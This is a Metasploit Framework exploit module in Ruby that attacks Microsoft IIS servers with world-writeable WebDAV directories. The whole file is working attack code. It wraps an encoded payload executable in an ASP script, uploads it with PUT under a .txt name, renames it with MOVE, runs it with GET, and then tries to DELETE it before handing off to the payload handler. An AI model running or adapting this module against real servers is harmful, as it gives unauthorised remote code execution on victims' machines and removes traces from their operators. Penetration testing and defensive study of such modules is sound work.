## # $Id$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize super( 'Name' => 'Microsoft IIS WebDAV Write Access Code Execution', 'Description' => %q{ This module can be used to execute a payload on IIS servers that have world-writeable directories. The payload is uploaded as an ASP script using a WebDAV PUT request. }, 'Author' => 'hdm', 'Version' => '$Revision$', 'Platform' => 'win', 'References' => [ ['OSVDB', '397'], ['BID', '12141'] ], 'Targets' => [ [ 'Automatic', { } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jan 01 1994' ) register_options( [ OptString.new('PATH', [ true, "The path to attempt to upload", '/metasploit%RAND%.asp']) ], self.class) end def exploit # Generate the ASP containing the EXE containing the payload asp = Msf::Util::EXE.to_win32pe_asp(framework,payload.encoded) path = datastore['PATH'].gsub('%RAND%', rand(0x10000000).to_s) path_tmp = path.gsub(/\....$/, ".txt") # # UPLOAD # print_status("Uploading #{asp.length} bytes to #{path_tmp}...") res = send_request_cgi({ 'uri' => path_tmp, 'method' => 'PUT', 'ctype' => 'application/octet-stream', 'data' => asp, }, 20) if (! res) print_status("Upload failed on #{path_tmp} [No Response]") return end if (res.code < 200 or res.code >= 300) print_status("Upload failed on #{path_tmp} [#{res.code} #{res.message}]") case res.code when 401 print_status("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}") end return end # # MOVE # print_status("Moving #{path_tmp} to #{path}...") res = send_request_cgi({ 'uri' => path_tmp, 'method' => 'MOVE', 'headers' => {'Destination' => path} }, 20) if (! res) print_status("Move failed on #{path_tmp} [No Response]") return end if (res.code < 200 or res.code >= 300) print_status("Move failed on #{path_tmp} [#{res.code} #{res.message}]") case res.code when 401 print_status("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}") when 403 print_status("Warning: The web site may not allow 'Script Source Access', which is required to upload executable content.") end return end # # EXECUTE # print_status("Executing #{path}...") res = send_request_cgi({ 'uri' => path, 'method' => 'GET' }, 20) if (! res) print_status("Execution failed on #{path} [No Response]") return end if (res.code < 200 or res.code >= 300) print_status("Execution failed on #{path} [#{res.code} #{res.message}]") return end # # DELETE # print_status("Deleting #{path}, this doesn't always work...") res = send_request_cgi({ 'uri' => path, 'method' => 'DELETE' }, 20) if (! res) print_status("Deletion failed on #{path} [No Response]") return end if (res.code < 200 or res.code >= 300) print_status("Deletion failed on #{path} [#{res.code} #{res.message}]") return end handler end end